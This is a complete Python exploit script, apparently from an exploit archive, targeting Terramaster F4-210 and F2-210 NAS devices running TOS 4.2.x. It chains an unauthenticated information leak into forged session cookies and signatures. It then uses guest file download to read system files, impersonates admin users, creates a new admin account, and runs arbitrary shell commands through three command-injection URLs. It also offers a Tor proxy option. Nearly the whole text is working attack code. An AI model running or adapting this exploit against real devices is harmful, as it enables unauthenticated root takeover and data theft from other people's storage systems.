Terramaster F4-210 and F2-210 chained exploit that performs session crafting to achieve escalated privileges that then allows an attacker to access vulnerable code execution flaws. TOS versions 4.2.x are affected.
bb80f0549d40ca5fcc3ac82ad5568f1e#/bin/env python
"""
Product: Terramaster F4-210, Terramaster F2-210
Version: TOS 4.2.X (4.2.15-2107141517)
Author: n0tme (thatsn0tmysite)
Description: Chain from unauthenticated to root via session crafting.
"""
import urllib3
import requests
import json
import argparse
import hashlib
import time
import os
TARGET = None
MAC_ADDRESS = None
PWD = None
TIMESTAMP = None
def tos_encrypt_str(toencrypt):
key = MAC_ADDRESS[6:]
return hashlib.md5(f"{key}{toencrypt}".encode("utf8")).hexdigest()
def user_session(session, username):
session.cookies.clear()
cookies = {"kod_name":username, "kod_token":tos_encrypt_str(PWD)}
if username == "guest":
cookies = {"kod_name":"guest", "kod_token":tos_encrypt_str("")}
for name,value in cookies.items():
session.cookies[name] = value
def download(session, path, save_as=None):
user_session(session, "guest")
r=session.post(f"{TARGET}/module/api.php?mobile/fileDownload", data={"path":path})
filename = os.path.basename(path)
if save_as is not None:
filename = save_as
with open(filename, "wb") as file:
file.write(r.content)
def get_admin_users(session):
download(session, "/etc/group", save_as="/tmp/terramaster_group")
with open("/tmp/terramaster_group", "r") as groups:
for line in groups:
line = line.strip()
fields = line.split(':')
if fields[0] == "admin":
users = fields[3].split(",")
os.remove("/tmp/terramaster_group")
return users
if __name__ == '__main__':
p = argparse.ArgumentParser()
p.add_argument(dest="target", help="Target URL (e.g. http://10.0.0.100:8181)")
p.add_argument("--cmd", dest="cmd", help="Command to run", default="id")
p.add_argument("-d", "--download", dest="download", help="Only download file", default=None)
p.add_argument("-o", "--output", dest="save_as", help="Save downloaded file as", default=None)
p.add_argument("-c", "--create", dest="create", help="Only create admin user (format should be admin:password)", default=None)
p.add_argument("--tor", dest="tor", default=False, action="store_true", help="Use TOR")
p.add_argument("--rce", dest="rce", default=0, type=int, help="RCE to use (1 and 2 have no output)")
args = p.parse_args()
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
TARGET = args.target
s = requests.Session()
if args.tor:
s.proxies = {"http":"socks5://127.0.0.1:9050", "https": "socks5://127.0.0.1:9050"}
s.headers.update({"user-device":"TNAS", "user-agent":"TNAS"})
r=s.post(f"{TARGET}/module/api.php?mobile/wapNasIPS")
try:
j = r.json()
PWD = j["data"]["PWD"]
MAC_ADDRESS = j["data"]["ADDR"]
except KeyError:
exit(1)
TIMESTAMP = str(int(time.time()))
s.headers.update({"signature": tos_encrypt_str(TIMESTAMP), "timestamp": TIMESTAMP})
s.headers.update({"authorization": PWD})
if args.download != None:
download(s, args.download, save_as=args.save_as)
exit(0)
#RCEs
RCEs=[f"{TARGET}/tos/index.php?app/del&id=0&name=;{args.cmd};xx%23",
f"{TARGET}/tos/index.php?app/hand_app&name=;{args.cmd};xx.tpk", #BLIND
f"{TARGET}/tos/index.php?app/app_start_stop&id=ups&start=0&name=donotcare.*.oexe;{args.cmd};xx"] #BLIND
for admin in get_admin_users(s):
user_session(s, admin)
if args.create != None:
user, password = args.create.split(":")
groups = json.dumps(["allusers", "admin"])
r=s.post(f"{TARGET}/module/api.php?mobile/__construct")
r=s.post(f"{TARGET}/module/api.php?mobile/set_user_information", data={"groups":groups, "username":user,"operation":"0","password":password,"capacity":""})
if "create user successful!" in str(r.content, "utf8"):
print(r.content)
break
continue
r = s.get(RCEs[args.rce])
content = str(r.content, "utf-8")
if "<!--user login-->" not in content:
print(content)
exit(0)